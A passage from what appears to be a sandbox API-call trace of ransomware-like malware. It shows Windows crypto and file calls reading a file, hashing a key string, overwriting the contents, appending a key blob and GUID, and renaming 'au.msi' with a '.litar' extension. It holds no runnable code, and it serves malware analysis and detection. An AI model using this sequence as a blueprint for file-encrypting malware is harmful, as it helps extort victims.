liDistanceToMove=0x2d3da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.452] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.456] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.456] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x25805, lpOverlapped=0x0) returned 1 [0127.457] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.457] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.457] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.457] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0127.458] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.458] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.458] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.458] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.458] GetLastError () returned 0x0 [0127.458] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.458] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0127.458] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25810) returned 0x30fa0b0 [0127.459] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.459] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.459] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x25800, lpOverlapped=0x0) returned 1 [0127.459] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.459] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2d400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.460] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.460] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.460] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.460] CloseHandle (hObject=0x624) returned 1 [0127.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075238 [0127.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0127.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075238 | out: hHeap=0x5c0000) returned 1 [0127.462] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.litar")) returned 1 [0127.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.463] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.464] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 0 [0127.464] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0127.464] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075238 [0127.464] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.470] RtlAllocateHeap (HeapHandle=0x5c0000, 